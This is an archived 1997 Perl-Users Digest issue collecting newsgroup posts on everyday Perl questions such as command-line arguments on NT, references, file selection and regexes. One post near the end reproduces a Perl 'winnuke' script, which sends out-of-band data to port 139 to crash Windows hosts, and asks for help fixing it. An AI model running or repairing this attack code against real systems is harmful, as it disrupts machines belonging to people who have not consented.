[6860] in Perl-Users-Digest
Perl-Users Digest, Issue: 485 Volume: 8
daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Thu May 15 23:17:19 1997
Date: Thu, 15 May 97 20:00:23 -0700
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Perl-Users Digest Thu, 15 May 1997 Volume: 8 Number: 485
Today's topics:
Re: "email me when the URL changes" script? (Abigail)
Ack! Sorry about that <hunter@fsc.fujitsu.com>
ARGV and WinNT Perl <pkaartin@cc.helsinki.fi>
Re: ARGV and WinNT Perl <tashbrk@ix.netcom.com>
Re: ARGV and WinNT Perl <dbenhur@egames.com>
Re: Can you help with a perl module? (Mike Stok)
DBM Locking? <bkyan@mindcast.com>
Re: Decoding CyberSitter in 1 line - but how long a lin <sibsib@hotmail.com>
Re: Help: vars inside an eval <billc@tibinc.com>
Re: How to put an normal array into an associative one (David Alan Black)
Re: How to put an normal array into an associative one <simonk@telebusiness.co.nz>
Re: idea for new for loop construct <chaimf@cris.com>
Re: Ingres data on the Intranet <boei@trifox.com>
Re: List of List Question I think (assigning LOTS of va <hunter@fsc.fujitsu.com>
Re: List of List Question I think (assigning LOTS of va <hunter@fsc.fujitsu.com>
Re: List of List Question I think (assigning LOTS of va <hunter@fsc.fujitsu.com>
Re: Need help on Oraperl !!! (John D Groenveld)
Perl (filter out linebreaks replace with space) <labah@algonet.se>
regrex question - really basic! (John Moreno)
Selecting files to open <josh@inetarena.com>
Re: Selecting files to open <josh@inetarena.com>
Re: Selecting files to open (David Alan Black)
Re: Strange effect (Tim Smith)
Re: suggestion for the last element position $# <jesse@ginger.sig.bsh.com>
Re: swallowing whitespace (Tim Gim Yee)
Re: Update: Comparing C, Lisp, Tcl, Perl, Python, Java, <qobi@ai.emba.uvm.edu>
winnuke <fisk@homarus.ccsu.ctstateu.edu>
Digest Administrivia (Last modified: 8 Mar 97) (Perl-Users-Digest Admin)
----------------------------------------------------------------------
Date: Fri, 16 May 1997 01:58:09 GMT
From: abigail@fnx.com (Abigail)
Subject: Re: "email me when the URL changes" script?
Message-Id: <EA944x.75L@nonexistent.com>
On Thu, 15 May 1997 09:39:21 -0400, ctbates wrote in comp.lang.perl.misc
URL: news:337B1209.4D92@tva.gov:
++ Hi,
++ Could anyone recommend a Perl script that will monitor a URL
++ periodically and kick off an email when a certain string appears?
Hmmm, let's see.
#!/usr/local/bin/perl -w
use strict;
my $url = shift || die "You didn't give me an URL!";
my $str = "foobar"; # String we want to see appear.
while ($str !~ $url) {sleep 10;}
local *MAIL;
open MAIL '| elm -s "Holy Times have arrived" that.one.guy@fantasy.island'
or die "Something spooky happened: $!";
print <<END_OF_MAIL;
The plane! The plane!
-- $< --
END_OF_MAIL
__END__
Is that what you want?
Oh wait, you want to watch whether a string appears in the object
the URL points at! Djee.... why didn't you say so?
Have you looked into the LWP module? If not, get it.
If you did, what didn't you understand?
Abigail
------------------------------
Date: Thu, 15 May 1997 18:42:26 -0700
From: "Hunter L. Brown" <hunter@fsc.fujitsu.com>
Subject: Ack! Sorry about that
Message-Id: <337BBB82.A7612228@fsc.fujitsu.com>
It's just not my day.
Sorry about the repeats there. I am not used to my news poster and sent
the send key twice pre-maturely.
Hunter
------------------------------
Date: 15 May 1997 12:24:20 GMT
From: Petrus Kaartinen <pkaartin@cc.helsinki.fi>
Subject: ARGV and WinNT Perl
Message-Id: <5lev9k$s1u$1@oravannahka.Helsinki.FI>
Used to do this in Unix:
foreach (@ARGV) {
print "$_\n";
}
Doesn't work with Windows NT Perl5. Anyone knows how to read the
commandline arguments in NT?
-Petrus
--
eat -- Petrus Kaartinen, U of Helsinki, Depts of Economics and CompS
the -- http://www.helsinki.fi/~pkaartin/
rich -- "life is for learning":
------------------------------
Date: Thu, 15 May 1997 18:47:58 -0700
From: Thomas Ashbrook <tashbrk@ix.netcom.com>
Subject: Re: ARGV and WinNT Perl
Message-Id: <337BBCCE.643C@ix.netcom.com>
Petrus Kaartinen wrote:
>
> Used to do this in Unix:
> foreach (@ARGV) {
> print "$_\n";
> }
>
> Doesn't work with Windows NT Perl5. Anyone knows how to read the
> commandline arguments in NT?
>
> -Petrus
>
> --
> eat -- Petrus Kaartinen, U of Helsinki, Depts of Economics and CompS
> the -- http://www.helsinki.fi/~pkaartin/
> rich -- "life is for learning":
@ARGV[0]
Or
'pop' them off @ARGV every time thru the loop
--
"A truly wise man never plays leapfrog with a unicorn."
------------------------------
Date: Thu, 15 May 1997 18:45:35 -0700
From: Devin Ben-Hur <dbenhur@egames.com>
To: Petrus Kaartinen <pkaartin@cc.helsinki.fi>
Subject: Re: ARGV and WinNT Perl
Message-Id: <337BBC3F.37E6@egames.com>
[mail&post]
Petrus Kaartinen wrote:
> Used to do this in Unix:
> foreach (@ARGV) {
> print "$_\n";
> }
>
> Doesn't work with Windows NT Perl5. Anyone knows how to read the
> commandline arguments in NT?
Works fine for me:
-----
C:\>perl -e "for(@ARGV){print qq!$_\n!}" foo bar baz
foo
bar
baz
C:\>perl -v
This is perl, version 5.003_07
Copyright 1987-1996, Larry Wall
+ suidperl security patch
Win32 port Copyright (c) 1995-1996 Microsoft Corporation.
All rights reserved.
Developed by ActiveWare Internet Corp.,
http://www.ActiveWare.com
Perl for Win32 Build 303 - Built 14:27:31 Jan 29 1997
-----
--
Devin Ben-Hur <dbenhur@egames.com>
eGames.com, Inc. http://www.egames.com/
eMarketing, Inc. http://www.emarket.com/
"The Earth is degenerating today. Bribery and corruption
abound. Children no longer obey their parents, every man
wants to write a book, and it is evident that the end of
the world is fast approaching." -- Assyrian tablet, c. 2800 BC
------------------------------
Date: 16 May 1997 02:10:33 GMT
From: mike@stok.co.uk (Mike Stok)
Subject: Re: Can you help with a perl module?
Message-Id: <5lgfmp$nas@news-central.tiac.net>
In article <337B672B.4BF5@sierra-inc.com>, mark <mark@sierra-inc.com> wrote:
>I've written a pretty extensive program using perl modules for the first
>time. At first everything was running well, but then I tried running my
>program from a shell script. Turns out the 'use' command will only work
>for modules if they're located in one of the 'official' directories
>(listed in @INC) or the local directory. Is there any way I can include
>a '.pm' file located in an arbitrary directory?
>
>I've already tried:
>
>>use lib ("/path/to/my/lib");
are the files really in /path/to/my/lib? If so can you find out what @INC
is when you run something like this.
#!/usr/bin/perl
use lib '/path/to/my/lib';
print "INC is @INC\n";
__END__
My favourite mistake is messing up the typing or missing out path
components...
Hope this helps,
Mike
--
mike@stok.co.uk | The "`Stok' disclaimers" apply.
http://www.stok.co.uk/~mike/ | PGP fingerprint FE 56 4D 7D 42 1A 4A 9C
http://www.tiac.net/users/stok/ | 65 F3 3F 1D 27 22 B7 41
stok@psa.pencom.com | Pencom Systems Administration (work)
------------------------------
Date: Thu, 15 May 1997 16:47:23 -0700
From: Benjamin Kyan <bkyan@mindcast.com>
Subject: DBM Locking?
Message-Id: <337BA08B.2341E2B7@mindcast.com>
Does anyone know if the following locks the file, $myfile?
$myfile = "test";
dbmopen(%dbm, $myfile, 0666);
...or do I need to "open" the file and place a manual "flock"
on the "$myfile.dir" and/or "$myfile.pag" ?? Thanks for your
help!
--
Best Regards,
Benjamin Kyan
bkyan@mindcast.com
========================== ======================== ==============
Clickstream Communications 9101 W. Sahara, #105-183 T 404.685.0852
(website) www.mindcast.com Las Vegas, Nevada 89117 F 404.685.0853
========================== ======================== ==============
------------------------------
Date: Thu, 15 May 1997 18:40:32 -0400
From: Scott Blanksteen <sibsib@hotmail.com>
Subject: Re: Decoding CyberSitter in 1 line - but how long a line?
Message-Id: <337B90DF.9E4EE799@hotmail.com>
Randal Schwartz wrote:
> perl -lne '$_^="\224"x y///c;print/([ -~]{5,})/g'
I vote for decoding this as the test to be allowed
to post in the new moderated Perl group :-)
Scott
--
Scott I. Blanksteen
sib (at) worldnet (dot) att (dot) net
------------------------------
Date: Thu, 15 May 1997 22:29:07 -0400
From: Bill Cowan <billc@tibinc.com>
To: Henry Avatar Chan <q8e192@ugrad.cs.ubc.ca>
Subject: Re: Help: vars inside an eval
Message-Id: <337BC673.4F0B@tibinc.com>
Henry Avatar Chan wrote:
>
> Hi,
>
> I need help undefining some vars that I set in an eval statement
> i.e.
> $CMD = "$a=5";
> eval($CMD);
>
> after the eval line, $a would have the value of 5, however,
> I ONLY want the duration of $a=5 inside my eval line.
> I would fork this and then kill the child, however my Perl5 for
> NT doesn't have fork =(
> Is there any Perl5 OO trick that could help me here?
>
> thx,
> Henry
> q8e192@ugrad.cs.ubc.ca
What about:
$CMD = "my $a=5"; # add 'my' declaration to make scope of $a limited
# to eval execution.
eval($CMD);
if (defined( $a )) {
print "value of a is $a \n";
} else {
print "a is not known here.\n";
}
which prints "a is not known here".
-- Bill
-----------------------------------------------------------------------
Bill Cowan <billc@tibinc.com> Voice:919-490-0034 Fax:919-490-0143
Tiburon, Inc./3333 Durham-Chapel Hill Blvd Suite E-100/Durham, NC 27707
------------------------------
Date: 15 May 1997 23:26:50 GMT
From: dblack@icarus.shu.edu (David Alan Black)
Subject: Re: How to put an normal array into an associative one
Message-Id: <5lg63q$6aa@pirate.shu.edu>
Hello -
Pascal Houde <houde@fox.cisti.nrc.ca> writes:
>That's what I want to do:
>$a{'array1'} = @somearray;
>Actually, it puts the number of element of @somearray into $a{'array1'}.
>I want perhaps the array itself to be put instead.
>I found a way to do it but I think it's not clean!
>$a{'array'} = \@somearray;
>later...
>@getbackthearray = @{$a{'array'}}
It looks pretty clean to me. It's the standard way to do
what you're trying to do.
>The problem is that @somearray is a LOCAL array returned by a
>subroutine.
>$a{'array'} = &returnAnArray(param); # @somearray is used only whitin
>that subr.
>So what happen after the exit of the subroutine. Does the space memory
>of @somearray deallocated?
You can still use the reference:
$ref = &getref;
print @$ref; # prints 123
sub getref { return [ 1,2,3 ] }
You might want to do what I'm doing here, namely returning a reference
to the array instead of the array itself.
David Black
dblack@icarus.shu.edu
------------------------------
Date: 16 May 1997 01:40:47 GMT
From: "Simon Kitching" <simonk@telebusiness.co.nz>
Subject: Re: How to put an normal array into an associative one
Message-Id: <01bc619a$ca12aa50$cbe824ca@simonk>
Pascal Houde <houde@fox.cisti.nrc.ca> wrote in article
<337B7BCA.5A1BC7A3@fox.cisti.nrc.ca>...
> That's what I want to do:
> $a{'array1'} = @somearray;
> I found a way to do it but I think it's not clean!
> $a{'array'} = \@somearray;
> later...
> @getbackthearray = @{$a{'array'}}
Exactly the correct way to do it. It would be the same in any other
programming language - store a pointer to the object you really want to
store.
>
> The problem is that @somearray is a LOCAL array returned by a
> subroutine.
> So what happen after the exit of the subroutine. Does the space memory
> of @somearray deallocated?
Perl has garbage collection. As long as a variable has got a reference to
it somewhere, it does not get destroyed. No matter whether the variable is
declared with "my", "local" or is a package global variable, the value of
the variable remains around as long as there is a reference to it. Now
that's better than C, right?
If only Perl had data types, or C had garbage collection.... :-)
Simon Kitching
simonk@telebusiness.co.nz
------------------------------
Date: 15 May 1997 22:27:35 -0400
From: Chaim Frenkel <chaimf@cris.com>
Subject: Re: idea for new for loop construct
Message-Id: <m32078jgmg.fsf@nlk.nlk.com>
>>>>> "TL" == Trenton Lipscomb <trenton@ssil.uoregon.edu> writes:
TL> However, there is a construct that seems natural to me, but is not
TL> recognized by the interpreter. It is:
TL> for(4 x){
TL> print $_;
TL> print "\n";
TL> }
TL> and, similiarly:
TL> for $it (4 x){
TL> print $it;
TL> }
TL> where $it would be assigned the value of the current iteration of the
TL> loop.
TL> Basically, I'm using the x string repetition operator to say: do this, 4
TL> "times". This seems very intuative and would be a good addition to
TL> future releases of Perl. I don't see any conflicts with another
TL> construction, so the grammar would still be unambiguous with this
TL> addition. Of course, x is currently only a string operator, so that
TL> might result in some problems, but I don't know enough about the
TL> inner-workings of Perl to comment on that. Perhaps someone else has an
TL> idea?
One killer is that currently perl expands lists, but why are you
not using for (1..4) its of reasonable size.
On the 5.005 wish list is optimizing away the list expansion.
<chaim>
--
Chaim Frenkel Nonlinear Knowledge, Inc.
chaimf@cris.com +1-718-236-0183
------------------------------
Date: Thu, 15 May 1997 17:26:26 -0700
From: Bob Eisner <boei@trifox.com>
To: deepa@ril.com
Subject: Re: Ingres data on the Intranet
Message-Id: <337BA9B2.FFA@trifox.com>
deepa@ril.com wrote:
>
> We have huge databases on Ingres. We wish to put some
>
> web applications which will be able to query the Ingres
>
> database.
>
> Can anyone make any suggestions.
>
> We are using the Apache Web Server. Using perl extensively
>
> for CGI development.
>
> Thanks in advance.
>
> -deepa
>
> --
>
> Posted using Reference.COM http://www.reference.com
> Browse, Search and Post Usenet and Mailing list Archive and Catalog.
>
> InReference, Inc. accepts no responsibility for the content of this posting.
Trifox has a product, VORTEXperl. It talks to multiple RDBMS.
It uses Perl Sockets so there is no need to re-build the Perl
runtime.
Please see http://www.trifox.com for details.
The beta version is available on our FTP server:
ftp://ftp.trifox.com/pub/products/perl/vtxperl.tar
Trifox has also offers, VORTEXjdbc and VORTEXjava. They talk to
multiple RDBMS.
Check out the following URL for information on VORTEXjava:
http://www.trifox.com/vortex/vtxjava.html
Check out the following URL for information on VORTEXjdbc:
http://www.trifox.com/vortex/vtxjdbc.html
Regards,
Bob Eisner
408-369-2392
------------------------------
Date: Thu, 15 May 1997 18:37:39 -0700
From: "Hunter L. Brown" <hunter@fsc.fujitsu.com>
Subject: Re: List of List Question I think (assigning LOTS of variables.)
Message-Id: <337BBA63.1AC0A4C@fsc.fujitsu.com>
Alain,
A. Deckers wrote:
>
> There are really two issues here: (1) reading in the data, and (2)
> storing it in a suitable data-structure for further manipulation.
>
> As far as (1) is concerned, I presume you have your survey results
> stored in a file or database of some sort, but without knowing what
> the
> format of your data is (comma delimited, tab delimited, key:value
> format, DB, etc.) its not possible to get any further. Perhaps if you
> post a _brief_ example we can take a look at it and provide some
> assistance.
Alain, Part (1) is done. I already have the data in a file delimited
correctly. I can already read out each answer fine and split them all
into variables, print them out, etc.
> With regard to (2), you should look up the perllol and perldsc manual
> pages, which explain how to create and manipulate List of Lists and
> similar data-structures.
I have and I just don't get it. Let me rephrase my question. Forget
everything else I have said. All I want to know is this.
What is the simplest way to do this:
$QUESTION_1_A = "0";
$QUESTION_1_A = "0";
>
> If you don't have the manual pages installed on your system, you can
> find
> them on any CPAN site in a variety of formats. Here's the URL for the
> HTML version:
>
> <URL:http://www.perl.com/CPAN/doc/manual/html/perldsc.html>
> <URL:http://www.perl.com/CPAN/doc/manual/html/perllol.html>
>
> Further info is also availabkle in the Camel book, chapter 4. Of
> course,
> you should also read the FAQ if you haven't already done so.
>
> HTH,
>
> Alain
>
> --
> Perl information: <URL:http://www.perl.com/perl/>
> Perl archive: <URL:http://www.perl.com/CPAN/>
> Perl FAQ: <URL:http://www.perl.com/CPAN/doc/FAQs/FAQ/>
> >>>>>>>>>>>>> NB: comp.lang.perl.misc is NOT a CGI group
> <<<<<<<<<<<<<<
Alain
--
HUNTER L. BROWN | Web Information Developer
(408) 456-7915 | FUJITSU SOFTWARE CORPORATION
mailto:hunter@fsc.fujitsu.com
http://www.fsc.fujitsu.com/~hlbrown
------------------------------
Date: Thu, 15 May 1997 18:37:50 -0700
From: "Hunter L. Brown" <hunter@fsc.fujitsu.com>
Subject: Re: List of List Question I think (assigning LOTS of variables.)
Message-Id: <337BBA6E.A429BAA8@fsc.fujitsu.com>
Alain,
A. Deckers wrote:
>
> There are really two issues here: (1) reading in the data, and (2)
> storing it in a suitable data-structure for further manipulation.
>
> As far as (1) is concerned, I presume you have your survey results
> stored in a file or database of some sort, but without knowing what
> the
> format of your data is (comma delimited, tab delimited, key:value
> format, DB, etc.) its not possible to get any further. Perhaps if you
> post a _brief_ example we can take a look at it and provide some
> assistance.
Alain, Part (1) is done. I already have the data in a file delimited
correctly. I can already read out each answer fine and split them all
into variables, print them out, etc.
> With regard to (2), you should look up the perllol and perldsc manual
> pages, which explain how to create and manipulate List of Lists and
> similar data-structures.
I have and I just don't get it. Let me rephrase my question. Forget
everything else I have said. All I want to know is this.
What is the simplest way to do this:
$QUESTION_1_A = "0";
$QUESTION_1_A = "0";
$QUESTION_1_A = "0";
$QUESTION_1_A = "0";
$QUESTION_1_A = "0";
$QUESTION_1_A = "0";
$QUESTION_1_A = "0";
>
> If you don't have the manual pages installed on your system, you can
> find
> them on any CPAN site in a variety of formats. Here's the URL for the
> HTML version:
>
> <URL:http://www.perl.com/CPAN/doc/manual/html/perldsc.html>
> <URL:http://www.perl.com/CPAN/doc/manual/html/perllol.html>
>
> Further info is also availabkle in the Camel book, chapter 4. Of
> course,
> you should also read the FAQ if you haven't already done so.
>
> HTH,
>
> Alain
>
> --
> Perl information: <URL:http://www.perl.com/perl/>
> Perl archive: <URL:http://www.perl.com/CPAN/>
> Perl FAQ: <URL:http://www.perl.com/CPAN/doc/FAQs/FAQ/>
> >>>>>>>>>>>>> NB: comp.lang.perl.misc is NOT a CGI group
> <<<<<<<<<<<<<<
Alain
--
HUNTER L. BROWN | Web Information Developer
(408) 456-7915 | FUJITSU SOFTWARE CORPORATION
mailto:hunter@fsc.fujitsu.com
http://www.fsc.fujitsu.com/~hlbrown
------------------------------
Date: Thu, 15 May 1997 18:40:28 -0700
From: "Hunter L. Brown" <hunter@fsc.fujitsu.com>
Subject: Re: List of List Question I think (assigning LOTS of variables.)
Message-Id: <337BBB0C.F0D006AF@fsc.fujitsu.com>
Alain,
A. Deckers wrote:
>
> There are really two issues here: (1) reading in the data, and (2)
> storing it in a suitable data-structure for further manipulation.
>
> As far as (1) is concerned, I presume you have your survey results
> stored in a file or database of some sort, but without knowing what
> the
> format of your data is (comma delimited, tab delimited, key:value
> format, DB, etc.) its not possible to get any further. Perhaps if you
> post a _brief_ example we can take a look at it and provide some
> assistance.
Alain, Part (1) is done. I already have the data in a file delimited
correctly. I can already read out each answer fine and split them all
into variables, print them out, etc.
> With regard to (2), you should look up the perllol and perldsc manual
> pages, which explain how to create and manipulate List of Lists and
> similar data-structures.
I have and I just don't get it. Let me rephrase my question. Forget
everything else I have said. All I want to know is this.
What is the simplest way to do this:
$QUESTION_1_A = "0";
$QUESTION_1_B = "0";
$QUESTION_1_C = "0";
$QUESTION_1_D = "0";
$QUESTION_1_E = "0";
$QUESTION_1_F = "0";
$QUESTION_1_G = "0";
---without typing it out?
Later in my script, I am looping through the data and counting the
number of answers, etc. First, I want to assign the variables, but save
me mounds of typing.
I know where all the documentation is. I have all the documentation. I
just need a better example of code for my little head.
(sorry to sound frusutrated, it's been a trying day here at work.)
>
> If you don't have the manual pages installed on your system, you can
> find
> them on any CPAN site in a variety of formats. Here's the URL for the
> HTML version:
>
> <URL:http://www.perl.com/CPAN/doc/manual/html/perldsc.html>
> <URL:http://www.perl.com/CPAN/doc/manual/html/perllol.html>
>
> Further info is also availabkle in the Camel book, chapter 4. Of
> course,
> you should also read the FAQ if you haven't already done so.
>
> HTH,
>
> Alain
>
> --
> Perl information: <URL:http://www.perl.com/perl/>
> Perl archive: <URL:http://www.perl.com/CPAN/>
> Perl FAQ: <URL:http://www.perl.com/CPAN/doc/FAQs/FAQ/>
> >>>>>>>>>>>>> NB: comp.lang.perl.misc is NOT a CGI group
> <<<<<<<<<<<<<<
Alain
-Hunter Brown
--
HUNTER L. BROWN | Web Information Developer
(408) 456-7915 | FUJITSU SOFTWARE CORPORATION
mailto:hunter@fsc.fujitsu.com
http://www.fsc.fujitsu.com/~hlbrown
------------------------------
Date: 15 May 1997 18:11:58 -0400
From: groenvel@cse.psu.edu (John D Groenveld)
Subject: Re: Need help on Oraperl !!!
Message-Id: <5lg1ne$75$1@tholian.cse.psu.edu>
In article <3379e62d.16119826@tppinternet.roc.tlp.com>,
Lyndon VanWagner <lyndon.vanwagner@sprocket.lcp.com> wrote:
>I'm using perl5.003_07, Wais-2.203, DBI-0.81, DBD-Oracle-0.44 on
Run, dont walk to your terminal, ftp to your favorite CPAN mirror and
download Perl5.004 Release Candidate 2 authors/id/CHIPS
John
groenvel@cse.psu.edu
------------------------------
Date: Fri, 16 May 1997 01:51:20 +0200
From: Jonas Thvrnvall <labah@algonet.se>
Subject: Perl (filter out linebreaks replace with space)
Message-Id: <337BA178.11C8@algonet.se>
Hello again!
I had a question in the perl newsgroup.
This is some of the code in my script, and a part of my problem.
Maybe i don't understand perl that good i thought that this code
would filter my html input fields.
The output file is not filtered at least not the form comment field?
<!--This file created 01:20 1996-05-16 by Claris Home Page version
2.0b1-->
<HTML>
<HEAD>
<META NAME=GENERATOR CONTENT="Claris Home Page 2.0b1">
<X-SAS-WINDOW TOP=25 BOTTOM=475 LEFT=4 RIGHT=534>
</HEAD>
<BODY>
<FORM action="http://1.1.1.1/cgi-bin/dummy.pl" method="POST">
<P><TEXTAREA NAME="comments" ROWS=7 COLS=27></TEXTAREA></P>
<P><CENTER><INPUT TYPE=submit NAME=name VALUE=Submit>
<INPUT TYPE=reset VALUE=Reset></CENTER></P>
</FORM>
</BODY>
</HTML>
#!/usr/bin/perl
# Get the input
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});
# Split the name-value pairs
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
($name, $value) = split(/=/, $pair);
# Un-Webify plus signs and %-encoding
$value =~ tr/\n/ /;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ s/<!--(.|\n)*-->//g;
}
$FORM{$name} = $value;
}
#Example field
# Open Link File to Output
open (FILE,">test.txt") || die "Can't Open test: $!\n";
print FILE "$FORM{'comments'}";
close (FILE);
------------------------------
Date: Thu, 15 May 1997 18:37:57 -0400
From: phenix@interpath.com (John Moreno)
Subject: regrex question - really basic!
Message-Id: <19970515183757419416@roxboro-168.interpath.net>
I am trying to do a extract a email address out of a string using a
regular expression.
I'm using [^ <]+@[^ \r,>]+ which works as a regular expression. The
problem is getting this into a perl statement.
TIA
--
John Moreno
------------------------------
Date: 15 May 1997 23:22:42 GMT
From: Reverend Joshua Berezin <josh@inetarena.com>
Subject: Selecting files to open
Message-Id: <5lg5s2$7q9$1@play.inetarena.com>
I have a bunch of log files named foo.1996.01 foo.1996.02 ... foo.1996.12 foo.1997.01 ...
foo.1996.01 contains dated entries from January 1996, and so on.
The user needs to search through these files for lines containing "bar". The user specifies a start date
and an end date, and only wants to see "bar" entries between those two entries (inclusive). Since
there's one month in each file, I only want to open the files of months between the start date and end
date.
So, for example, if the user specifies start date of 2/1/97 and end date of 2/10/97, I only want to
open foo.1997.02. If he specifies 2/1/97 and 4/1/97, I want to open foo.1997.02, foo.1997.03, and
foo.1997.04. If he specifies 12/1/96 and 2/1/97, I want to open foo.1996.12, foo.1997.01, and foo.1997.02.
One other thing: the file for the current month is always called just foo.
Any ideas on a slick way to achieve this?
josh
------------------------------
Date: 15 May 1997 23:26:01 GMT
From: Reverend Joshua Berezin <josh@inetarena.com>
Subject: Re: Selecting files to open
Message-Id: <5lg629$7q9$2@play.inetarena.com>
In comp.lang.perl.misc Reverend Joshua Berezin <josh@inetarena.com> wrote:
: I have a bunch of log files named foo.1996.01 foo.1996.02 ... foo.1996.12 foo.1997.01 ...
I forgot to say I'm running perl 5.003 in RedHat Linux 3.0.3, kernel 2.0.30.
josh
------------------------------
Date: 16 May 1997 01:33:03 GMT
From: dblack@icarus.shu.edu (David Alan Black)
Subject: Re: Selecting files to open
Message-Id: <5lgdgf$d4a@pirate.shu.edu>
Hello -
Reverend Joshua Berezin <josh@inetarena.com> writes:
>I have a bunch of log files named foo.1996.01 foo.1996.02 ... foo.1996.12 foo.1997.01 ...
>foo.1996.01 contains dated entries from January 1996, and so on.
>The user needs to search through these files for lines containing "bar". The user specifies a start date
>and an end date, and only wants to see "bar" entries between those two entries (inclusive). Since
>there's one month in each file, I only want to open the files of months between the start date and end
>date.
>So, for example, if the user specifies start date of 2/1/97 and end date of 2/10/97, I only want to
>open foo.1997.02. If he specifies 2/1/97 and 4/1/97, I want to open foo.1997.02, foo.1997.03, and
>foo.1997.04. If he specifies 12/1/96 and 2/1/97, I want to open foo.1996.12, foo.1997.01, and foo.1997.02.
>One other thing: the file for the current month is always called just foo.
>Any ideas on a slick way to achieve this?
No, but here's a utilitarian way. It does not account for the current
month's file being called foo, but that could be spliced in somewhere.
#!/usr/local/bin/perl -w
$start = "02/01/96"; # test case values
$end = "03/10/97";
($start_month, $start_year) = $start =~ m!^(\d+)/\d+/(\d+)!;
($end_month, $end_year) = $end =~ m!^(\d+)/\d+/(\d+)!;
$start_year += 1900; # or get 4-digit input, or whatever
$end_year += 1900;
$end = "$end_year$end_month";
$month = $start_month; # save some typing :-)
foreach $year ( $start_year .. $end_year ) {
while ($month le "12") {
last if ("$year$month" gt $end);
push @files, "foo.$year.$month";
$month = sprintf("%.2d", $month + 1);
}
$month = "01";
}
print join "\n", @files;
David Black
dblack@icarus.shu.edu
------------------------------
Date: 15 May 1997 15:57:55 -0700
From: trs@azstarnet.com (Tim Smith)
Subject: Re: Strange effect
Message-Id: <5lg4dj$9kf@web.azstarnet.com>
In article <3371E049.42E8@ny.ubs.com>,
Glen Culbertson <nnyxcu@ny.ubs.com> wrote:
>In my tests of this I seem to see this general pattern:
>
>If
> 1. inside a block (any block, not just 'if-then-else' blocks)
> a variable is declared using my(); and
> 2. the first statement after the end of the block is an assignment to
> a variable with that name;
>Then
> The assignment does not 'take'.
>
>I only tested scalars so far. Haven't tried arrays and/or hashes.
#!/usr/local/bin/perl5 -w
%x = qw(a b c d);
{ my %x = qw(e f); }
#1;
%x = qw(g h);
print "x is @{[%x]}\n";
Arrays and hashes behave exactly the same.
This is perl, version 5.003 with EMBED
built under solaris at Apr 30 1997 12:59:21
+ suidperl security patch
Copyright 1987-1996, Larry Wall
Tim
------------------------------
Date: 15 May 1997 18:12:15 -0400
From: Jesse Glick <jesse@ginger.sig.bsh.com>
Subject: Re: suggestion for the last element position $#
Message-Id: <4obu6c2xmo.fsf@ginger.sig.bsh.com>
Jong <jong@mrc-lmb.cam.ac.uk> writes:
> $correct_group_names_list_long[$#correct_group_names_list_long]
$correct_group_names_list_long[-1]
--
Jesse "Da Juice" Glick
mailto:jglick@sig.bsh.com
617-867-1017
------------------------------
Date: Fri, 16 May 1997 02:12:33 GMT
From: tgy@chocobo.org (Tim Gim Yee)
Subject: Re: swallowing whitespace
Message-Id: <337bba86.16430656@news.oz.net>
On Thu, 15 May 1997 12:08:38 -0700, Venkat Jagadish
<venkat@bbb.caltech.edu> wrote:
> I am trying to eat up any whitespaces (ws) from every line (excluding
> line-breaks) of a file that contains a list of mistyped
> e-mail addresses.
perl -lpe 's/\s+//g' old.txt >new.txt
> What am I odoing wrong? Also is there a way
> to do modifications in place in PERL ?
perl -lpi.bak -e 's/\s+//g' old.txt
-- Tim Gim Yee tgy@chocobo.org
http://www.dragonfire.net/~tgy/moogle.html
"Will hack perl for a moogle stuffy, kupo!"
------------------------------
Date: 15 May 1997 23:34:12 GMT
From: Jeffrey Mark Siskind <qobi@ai.emba.uvm.edu>
Subject: Re: Update: Comparing C, Lisp, Tcl, Perl, Python, Java, & Scheme (Guile) Using a Floating Point Numerical Test - Point Inside Polygon
Message-Id: <5lg6hk$ecr@cantaloupe.srv.cs.cmu.edu>
I just ran the pnpoly bechmark through Stalin. Since I have a different
machine than the poster, I ran both the C/gcc version and the Scheme/Stalin
version to get a fair comparison. These were run on one processor of a dual
200MHz P6/Natoma with 512K L2 per CPU and 256M of 70ns ECC memory (enabled)
running Red Hat 4.1. The other processor was running another small-memory-
footprint compute-intensive task so there may be some cache interference.
| best-of-three u+s CPU times in seconds
-----------------------------------------------------------------
gcc -O2 | 4.94
gcc -O3 | 4.68
stalin -Ob -On -copt -O2 | 4.81
stalin -Ob -On -copt -O3 | 4.42
stalin -On -copt -O2 | 6.21
stalin -On -copt -O3 | 4.87
-On eliminates overflow checking on exact integers. I had to specify that
because the Stalin code generator can't (yet) generate overflow checks. -Ob
eliminates bounds checking on vector and string accesses. I ran it both with
and without bounds checking to get an estimate on what safety costs. The
fairer comparison with C is the one without bounds checking. Other than -Ob
and -On, all run time checks were safely eliminated by 0CFA.
The upshot:
-O3 uniformly beats -O2
within either -O3 or -O2, stalin -Ob uniformly beats gcc
within either -O3 or -O2, gcc beats stalin without -Ob, but only marginally
for -O3
Jeff (home page http://www.emba.uvm.edu/~qobi)
------------------------------
Date: 16 May 1997 00:26:39 GMT
From: "Zachary Fisk" <fisk@homarus.ccsu.ctstateu.edu>
Subject: winnuke
Message-Id: <01bc618f$c7fe9860$51bcd5cc@copernicus>
Has anyone gotten the perl version of winnuke to work? I keep getting the
following error:
Undefined subroutine &main::sockaddr_in called at winnuke.pl line 6.
Line 6 is:
$in_addr = (gethostbyname($h))[4]; $in_addr = sockaddr_in($p,$in_addr);
The whole script is below. I copied this script from:
http://lisa.engelska.se/winnuke/info.html and have a made a few changes.
thanks,
Zach-
#!/usr/bin/perl
#use strict;
my($h,$p,$in_addr,$proto,$addr);
$h = "$ARGV[0]"; $p = 139 if (!$ARGV[1]);
if (!$h) { print "A hostname must be provided. Ex: www.microsoft.com\n"; }
$in_addr = (gethostbyname($h))[4]; $in_addr = sockaddr_in($p,$in_addr);
$proto = getprotobyname('tcp');
socket(S, AF_INET, SOCK_STREAM, $proto) or die$!;
connect(S,$addr) or die $!; select S; $| = 1; select STDOUT;
print "Nuking: $h:$p\n"; send S,"Sucker",MSG_OOB; print "Nuked!\n"; close
S;
--
Zach-
"Oh happy hamburger day!" Wimpy
------------------------------
Date: 8 Mar 97 21:33:47 GMT (Last modified)
From: Perl-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin)
Subject: Digest Administrivia (Last modified: 8 Mar 97)
Message-Id: <null>
Administrivia:
